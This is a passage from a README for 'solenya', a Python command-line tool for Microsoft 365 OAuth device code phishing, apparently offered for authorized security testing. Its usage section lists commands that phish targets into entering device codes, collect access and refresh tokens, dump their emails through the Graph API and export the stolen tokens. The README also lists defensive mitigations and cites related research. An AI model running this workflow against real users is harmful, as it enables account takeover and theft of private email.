urls? How many people have a spam bypass rule allowing any links from Microsoft to be allowed in? A phishing or vishing pre-text can be made where a plaintext message arrives in a target inbox allowing an attacker can convince the user to authorize the application. There are also better writeups with more detail, see the Acknowledgements section for more resources and information. Without their knowledge this tool would not exist. 54 | 55 | If you are a defender or authorized security tester that only considers users that click a link as "failed" it is time to reconsider security testing and awareness. Too often is training built to showcase the skills of marketing over actually providing valuable and actionable information for end users. Instead of just focusing on clicks (already unrealistic), users need to be trained on valid authentication flows and feel comfortable reporting abnormal requests. More on this has been detailed by [TheParanoids in this article](https://www.yahooinc.com/paranoids/paranoids-phishing-metrics/). 56 | 57 | As always with a storng enough pre-text, the majority of users will most likely authorize an application. Do you have confidence in your users and have you tested them? 58 | 59 |

60 | 61 |

62 | 63 | ## Installation 64 | 65 | **The package requires Python 3.7 or higher.** 66 | 67 | Install latest version from [PyPI](https://pypi.org/project/solenya/): ```pip install solenya``` 68 | 69 | ## Usage 70 | The CLI tool works with **Targets**, which are objects contained inside a **WorkSpace**. The *WorkSpace* contains the tool's database and other resources, while *Targets* represent M365 accounts. 71 | #### Creating a Workspace 72 | The ```wsp``` command is responsible for initializing the *WorkSpace*. The tool leverages an SQLite database to store target information. By default the command will create a folder ```.sol``` inside the current current directory. 73 | ``` 74 | $ sol wsp c0785c37-5fb1-4ffb-8769-8e9b05ac4e80 75 | ``` 76 | #### Managing Targets 77 | The ```target``` command can add additional targets and remove or reset existing ones. The command will automatically reach out to Microsoft Online API and create a **user code** and a **device code**, which will both be stored in the database. 78 | ``` 79 | $ sol target jaguar rat 80 | ``` 81 | The ```wsp``` command automatically created a target called *default*. To switch to a different target use the ```switch``` command. 82 | ``` 83 | $ sol switch jaguar 84 | ``` 85 | User codes and device codes expire after **15 minutes**. To reset the *device code* on the target or delete the target entirely set the following flags. 86 | ``` 87 | $ sol target -d default 88 | $ sol target -ra 89 | ``` 90 | #### Gathering OAuth Access Tokens 91 | The ```auth``` command is responsible for authenticating *targets* registered with the *WorkSpace*. Run the ```phish``` sub command and wait for your *targets* to enter the *user code*. 92 | ``` 93 | $ sol auth phish -ma 94 | ``` 95 | The Oauth2 tokens (**access token** and **refresh token**) with access to the target's Office account will be retrieved from the API and saved the *WorkSpace* database. The *access tokens* can be refreshed using the ```refresh``` command. 96 | ``` 97 | $ sol auth refresh -a 98 | ``` 99 | #### Dumping Data 100 | Once the target is authenticated the ```dump``` command can be used to dump information from the Graph API. 101 | ``` 102 | $ sol dump emails 103 | ``` 104 | #### Exporting Targets 105 | All the data on the *targets*, such as *access token*, *device code*, *refresh token*, *user code* and their respective timestamps can be exported using the ```export``` command. 106 | ``` 107 | $ sol export -a 108 | ``` 109 | 110 | ## Defensive Mitigations 111 | 112 | 1. [Modify the permissions and consent settings to best suite your Organization - Optiv](https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/configure-user-consent?tabs=azure-portal) 113 | 2. [Create an administrative workflow so appropriate individuals are notified when an application is applied to a profile - Optiv](https://docs.microsoft.com/en-us/azure/active-directory/manage-apps/manage-consent-requests) 114 | 3. Train users to better understand the authentication flow in use and implications of misuse 115 | 4. You have the ability to in theory detect/prevent anyone from accessing the device logon endpoint. However, this may be used by legitamate services. 116 | 117 | ## Contact 118 | - Contact us at cult.cornholio@gmail.com or open up a new Issue on GitHub. 119 | 120 | ## Acknowledgements 121 | - [Optiv - Microsoft 365 OAuth Device Code Flow and Phishing](https://www.optiv.com/insights/source-zero/blog/microsoft-365-oauth-device-code-flow-and-phishing) 122 | - [SecureWorks - OAuth’s Device Code Flow Abused in Phishing Attacks](https://www.secureworks.com/blog/oauths-device-code-flow-abused-in-phishing-attacks) 123 | - [Jenko Hwong - New Phishing Attacks Exploiting OAuth Authorization Flows](https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authorization-flows-part-1) 124 | - [Dirk-jan Mollema - ROADtools](https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/) 125 | - [Office 365 Blog](https://o365blog.com/post/phishing/) 126 | - [rvrsh3ll - TokenTactics](https://github.com/rvrsh3ll/TokenTactics) 127 | 128 | 129 | 130 | --------------------------------------------------------------------------------